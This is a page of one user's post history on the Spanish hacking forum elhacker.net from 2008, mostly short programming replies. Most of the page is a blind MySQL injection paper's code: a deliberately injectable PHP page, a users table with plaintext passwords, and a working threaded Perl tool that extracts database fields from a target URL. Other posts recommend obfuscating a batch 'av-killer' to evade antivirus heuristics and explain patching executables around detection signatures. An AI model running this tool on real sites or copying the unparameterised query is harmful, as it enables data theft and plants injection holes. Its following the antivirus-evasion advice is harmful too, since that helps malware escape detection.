elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ... 91
111  Programación / Programación Visual Basic / Re: ASM en VB en: 10 Julio 2008, 11:20 am
en ASM se peuden crear driver virtuales para luego cargarlos con VB, yo hacia eso
al saber que en VB se peude cargar lenguaje ASM solo introdusco en code del driver en diseño y en ejecusion no tendre que llamar a este driver sea por API o por WMI

Eing  :huh: :huh:
112  Programación / Programación Visual Basic / Re: Detectar la ejecución de una aplicación en: 2 Julio 2008, 15:53 pm
Interceptar ejecutables

Es algo viejo este articulo, pero te podria servir.

Un Saludo  :)

113  Programación / Programación Visual Basic / Re: [Source] IsSandboxiePresent() - Sistema AntiSanboxie en: 29 Junio 2008, 17:33 pm
Ahora solo falta el anti VM  :xD :xD :xD . Muy bueno el code .

http://invisiblethings.org/papers/redpill.html

Un Saludo  :)
114  Programación / Programación Visual Basic / Re: Ayudita por ak. Encontrar y liberar memoria. en: 17 Junio 2008, 19:01 pm
pero lo que necesito es saber las direcciones en memoria para luego borrarlas.

Supongo que sabras que Windows (y cualquier otro SO) utilizan memoria virtual, es decir, que N procesos pueden ocupar la memoria 0x0012345, ya que luego el SO lo traduce a memoria física (tema en el que no me voy a meter en como lo traduce porque  hay mucha información y el tema no va de esto). Ahora bien, si quieres saber en que dirección empieza, puedes leer el ImageBase en la cabecera PE del ejecutable, a este le sumas el entry point y ya lo tienes. En el PE puedes encontrar el tamaño del codigo.

Aunque no se para que te complicas, si ya te lo comentaron, con "inyectar mal" se produce una excepción dentro del proceso y ploff, se cierra. Aunque con los antivirus no te va a servidor porque se protegen su memoria desde el Kernel con un modulo de Kernel, asi que si es para AV's mejor busca otro metodo  ;)

Un Saludo  :)

115  Programación / Ingeniería Inversa / Re: Duda Ollydbg en: 27 Mayo 2008, 23:46 pm
El metodo basicamente seria:

1º En donde este la firma poner un salto hacia una zona de codigo donde no haya ninguna instrucción (NOP's)

2º En esa zona, poner el codigo que se a substituydo anteriormente

3º Saltar otra vez donde pusiste el salto, justo después.

Todo eso lo tienes que hacer mirando de que no cambie nada en el procedimiento, es decir, como si no hubieses cambiado nada, ya que el mínimo fallo puede provocar un error.

Un Saludo  :)
116  Programación / Ingeniería Inversa / Re: Duda Ollydbg en: 27 Mayo 2008, 21:57 pm
Si empiezas a cambiar instrucciones sin ton ni son te vas a cargar el ejecutable, tienes que saltar donde haya espacio para "crear" una función que haga el mismo efecto que la instrucción/es que substituiste para hacer el salto.

Un Saludo  :)
117  Programación / Scripting / Re: Que no detecten mi av-killer hecho en batch... en: 13 Mayo 2008, 00:28 am
Para saltar la heuristica utilizad esto: http://foro.elhacker.net/scripting/aporte_obfuscatebatch-t205084.0.html;msg974302

NOTA: Deben tener el framework del .Net instalado para poder ejecutar el ejecutable.

Un Saludo :)
118  Programación / Programación Visual Basic / Re: Maniapular Plantillas Administrativas en: 29 Abril 2008, 23:47 pm
Queda algo feo que nos preguntes esto asi (poniendo nombres en el titulo), da a entender que solamente nosotros podemos responder a esta pregunta, y no es asi, aqui todo el mundo participa  ;)

Sobre lo que pides, no se si es posible en VB, nunca lo probe... :-\

Un Saludo  :)
119  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Sub foro lockpicking en: 26 Abril 2008, 16:56 pm
Tieens razon, yo solo habia visto lo de las targetas magneticas....de todos modos, no se que tieen que ver romper candados con la infomática  :xD

En fin, un saludo  :)
120  Seguridad Informática / Nivel Web / Blind MySql Injection by Ka0x en: 26 Abril 2008, 16:46 pm
Aqui dejo este papper que me paso ka0x para ser publicado aqui, esta bastante interesante

http://www.milw0rm.com/papers/197

Un Saludo

Editado:

Aqui dejo los codigos, para que no se tengan que copiar del PDF:

Codigo php:

Código
  1. <?php
  2.  
  3. # ---- CONFIG -----
  4. $host = 'localhost';
  5. $dbuser = 'root';
  6. $dbpass = 'password';
  7. $dbname = 'blind';
  8. # -----------------
  9.  
  10. echo "<title>Blind SQL Injection Test - D.O.M LABS 2008</title>";
  11.  
  12. $db = mysql_connect($host, $dbuser, $dbpass);
  13. mysql_select_db($dbname,$db);
  14.  
  15.  
  16. $sql = "SELECT * FROM users WHERE id=".$_GET['id'];
  17. $query = mysql_query($sql);
  18.  
  19. if(@mysql_num_rows($query)==0){
  20. die('No hay columnas');
  21. }
  22.  
  23. $result=@mysql_fetch_row($query);
  24. echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br><br>";
  25. echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";
  26. echo "<font color='#FF0000'>username: </font>".$result[1]."<br>";
  27. // echo "Passwd: ".$result[2]."<br>";
  28. echo "</h2></center>";
  29.  
  30. die();
  31.  
  32. ?>

Código SQL:

Código
  1. -- Table: users
  2. -- by ka0x - D.O.M
  3. -- Blind SQL Injection Paper
  4.  
  5. CREATE TABLE `users` (
  6.  `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  7.  `name` VARCHAR(50) NOT NULL,
  8.  `password` VARCHAR(50) NOT NULL,
  9.  PRIMARY KEY  (`id`)
  10. ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
  11.  
  12. -- users --
  13. INSERT INTO `users` VALUES (1, 'administrator', '1234%&_');
  14. INSERT INTO `users` VALUES (2, 'ka0x', 't3st_bl1nd');
  15. INSERT INTO `users` VALUES (3, 'bush', 'terrorist');
  16. -- eof --

Código Perl:

Código
  1. #!/usr/bin/perl -W
  2.  
  3. # Blind MySQL Injection Paper
  4. # example brute force
  5.  
  6. # -- OPTIONS --
  7. my $MAX_FIELD_LENGTH = 200 ;
  8. my $EXIT_IF_NO_CHAR = 1 ;
  9. my $DEFAULT_THREADS = 15 ;
  10. my $DEFAULT_THREADS_TIMEOUT = 30 ;
  11. my @ascii = ( 33 .. 123 ) ;
  12. my $DEFAULT_THREADS_TIME = 1 ;
  13. # ---
  14.  
  15. use LWP::UserAgent ;
  16.  
  17. sub _HELP_AND_EXIT
  18. {
  19. die "
  20.  
  21.  ./$0  -u <url>  -tn <table>  -cn <column>  -p <pattern>
  22.  
  23. Options:
  24.  -u    <url>               Ex: http://www.google.es/vuln.php?id=1
  25.  -tn   <table_name>        Table name.
  26.  -cn   <column_name>       Column name.
  27.  -p    <pattern>           HTML pattern.
  28.  
  29. Other:
  30.  -t    <#>                 Threads, default '$DEFAULT_THREADS'.
  31.  -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
  32.  -T    <#>                 Timeout.
  33.  -h                        Help (also with --help).
  34. " ;
  35. }
  36.  
  37.  
  38. my ($p, $w) = ({ @ARGV }, { }) ;
  39.  
  40. map {
  41. &_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
  42. } keys %$p ;
  43.  
  44. map {
  45. die "[!] Require: $_\n" unless $p->{ $_ } ;
  46. } qw/-u -tn -cn -p/ ;
  47.  
  48. $p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
  49. $p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
  50. $p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;
  51.  
  52. map {
  53. warn "[i] Getting default: $_ $w->{ $_ }\n" ;
  54. } sort keys %$w ;
  55.  
  56. ( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;
  57.  
  58.  
  59.  
  60.  
  61. sub _START_WORK
  62. {
  63. my $p = shift ;
  64.  
  65. ($p->{'id_value'}) = ( $p->{'-u'} =~ /(\d+)$/ ) ; # Get the id value
  66.  
  67. my $position = 1 ;
  68.  
  69. pipe(R, W) ;
  70. pipe(Rs, Ws) ;
  71. autoflush STDOUT 1 ;
  72.  
  73. my $sql_message = '' ;
  74. my $msg = '' ;
  75. my @pid ;
  76.  
  77. while( $position <= $p->{'-l'} )
  78. {
  79. my $cf ;
  80. unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
  81. push(@pid, $cf) ;
  82.  
  83. my $count = 0 ;
  84. my $can_exit ;
  85. my $char_printed ;
  86.  
  87. while(<R>)
  88. {
  89. push(@pid, (split(/:/))[1] ) if /^pid/ ;
  90.  
  91. my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
  92. $count++ if $pos == $position ;
  93.  
  94. print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;
  95.  
  96. if( $res eq 'yes' and $pos == $position ){
  97. $char_printed = $can_exit = 1 ;
  98. print Ws "STOP $position\n" ;
  99. $sql_message .= chr( $ascii ) ;
  100. }
  101.  
  102. last if ( $can_exit or $count == @ascii );
  103. }
  104.  
  105. map { waitpid($_, 0) } @pid ;
  106.  
  107. unless( $char_printed )
  108. {
  109. if( $EXIT_IF_NO_CHAR )
  110. {
  111. warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n"  ;
  112. last ;
  113. }
  114. }
  115.  
  116. $position++ ;
  117. }
  118.  
  119. print "[i] SQL_FIELD:\n$sql_message\n" ;
  120.  
  121. }
  122.  
  123. sub _CHECKING
  124. {
  125. my ($p, $position) = @_ ;
  126. my $counter = 0 ;
  127. my $stop_position ;
  128.  
  129. foreach my $ascii ( @ascii )
  130. {
  131. $counter++ ;
  132.  
  133. if( $counter % $p->{'-t'} == 0 )
  134. {
  135. my $stop_position ;
  136. {
  137. $SIG{'ALRM'} = sub { die "non_stop\n" } ;
  138. alarm $DEFAULT_THREADS_TIME ;
  139. my $line = <Rs> ;
  140. $stop_position = (split( / /, $line))[1] ;
  141. alarm 0 ;
  142. } ;
  143.  
  144. if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
  145. }
  146.  
  147. unless(my $pid = fork )
  148. {
  149. print Ws "pid:$pid\n" or die ;
  150.  
  151.  
  152. my $url = $p->{'-u'} .
  153. ' AND ascii(substring((SELECT ' . $p->{'-cn'} .
  154. ' FROM ' . $p->{'-tn'} . ' where id=' .
  155. $p->{'id_value'} . '),' . $position . ',1))='. $ascii ;
  156.  
  157. my $ua = LWP::UserAgent->new ;
  158. $ua->timeout( $p->{'-T'} ) ;
  159.  
  160. my $content ;
  161. while( 1 )
  162. {
  163. last if $content = $ua->get( $url )->content ;
  164. }
  165.  
  166. ( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;
  167.  
  168. exit( 0 ) ;
  169. }
  170.  
  171. }
  172. }
  173.  
  174.  
  175.  
  176. sub _IS_VULN
  177. {
  178. my $p = shift ;
  179.  
  180. my $ua = LWP::UserAgent->new ;
  181. $ua->timeout( $p->{'-T'} ) ;
  182.  
  183. my ( $one, $two ) = (
  184. $ua->get( $p->{'-u'}." AND 1=1")->content ,
  185. $ua->get( $p->{'-u'}." AND 1=2")->content ,
  186. ) ;
  187.  
  188. return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
  189. }

Páginas: 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ... 91
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines